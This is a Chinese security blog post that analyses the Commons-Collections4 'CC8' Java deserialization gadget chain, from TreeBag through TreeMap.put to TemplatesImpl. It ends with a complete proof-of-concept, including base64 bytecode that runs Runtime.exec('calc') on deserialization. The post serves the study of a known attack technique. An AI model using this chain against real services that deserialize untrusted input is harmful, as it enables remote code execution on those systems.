本文最后更新于:2024年10月9日 晚上
CC8链:CC2和CC4派生
CC8源码
CC链分析完整测试代码,可直接拉取
在原始版本的ysoserial
中没有这条链。CC8存在于Commons-Collections4.0版本中,使用了TemplatesImpl.newTransformer()
作为代码执行点。
使用PriorityQueue
作为入口,它是基于二叉树和堆,即二叉堆这种数据结构来实现。它的readObject()
方法中由于要重构二叉堆,会进行二叉树节点的比较从而进入利用链。那么在进行二叉树节点比较的其他地方会不会还存在利用点。
CC8的作者就想到了红黑树,在Java中实现为TreeMap
类,但是POC中使用了TreeBag
作为链子入口。为什么呢
我们去看TreeMap
的源码,在其readObject()
中并没有出现调用比较之类的函数,buildFromSorted()
也没有调用,那么就不能进入像CC4那样的后续构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject (final java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int size = s.readInt(); buildFromSorted(size, null , s, null ); }
这个问题如何解决,既然选择使用TreeMap
,那就看看TreeMap
中还有哪些地方使用了compare,CC8的作者就使用了其put()
方法
那么接下来看看这put
方法在CommonsCollections4.0
中会被谁调用,发现在AbstractMapBag.java
中,其doReadObject()
方法调用了put
方法,
1 2 3 4 5 6 7 8 9 10 11 12 protected void doReadObject (Map<E, MutableInteger> map, ObjectInputStream in) throws IOException, ClassNotFoundException { this .map = map; int entrySize = in.readInt(); for (int i = 0 ; i < entrySize; ++i) { E obj = in.readObject(); int count = in.readInt(); map.put(obj, new MutableInteger (count)); this .size += count; } }
那么看看包里有哪个调用了doReadObject
,于是乎找到了TreeBag
类,在其readObject
当中,
1 2 3 4 5 private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Comparator<? super E> comp = (Comparator)in.readObject(); super .doReadObject(new TreeMap (comp), in); }
到这里CC8就分析完了,后面的部分和CC4差不多了,主要就是分析链子入口点。
1 2 3 4 5 6 7 8 9 TreeBag.readObject() -> AbstractMapBag.doReadObject() -> TreeMap.put() -> TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TemplatesImpl.newTransformer() -> defineClass() -> newInstance()
构造测试代码:
需要注意一些问题,treeMap中需要有元素,不然在doReadObject
中就直接跳过调用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static void main (String[] args) throws Exception{ ChainedTransformer transformerChain = new ChainedTransformer (new ConstantTransformer ("3xsh0re" )); byte [] CalcCode = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" + "W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" + "jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" + "GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" + "4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" + "ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" + "MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" + "HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" + "lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" + "2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" + "nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" + "AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" + "ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" + "bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl calcTemp = new TemplatesImpl (); setFieldValue(calcTemp, "_bytecodes" , new byte [][] {CalcCode}); setFieldValue(calcTemp, "_name" , "CalcTemplatesImpl" ); setFieldValue(calcTemp, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{calcTemp}) }; TreeBag treeBag = new TreeBag <>(new TransformingComparator (transformerChain)); treeBag.add("3xsh0re" ); setFieldValue(transformerChain,"iTransformers" ,transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(treeBag); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); ois.readObject(); }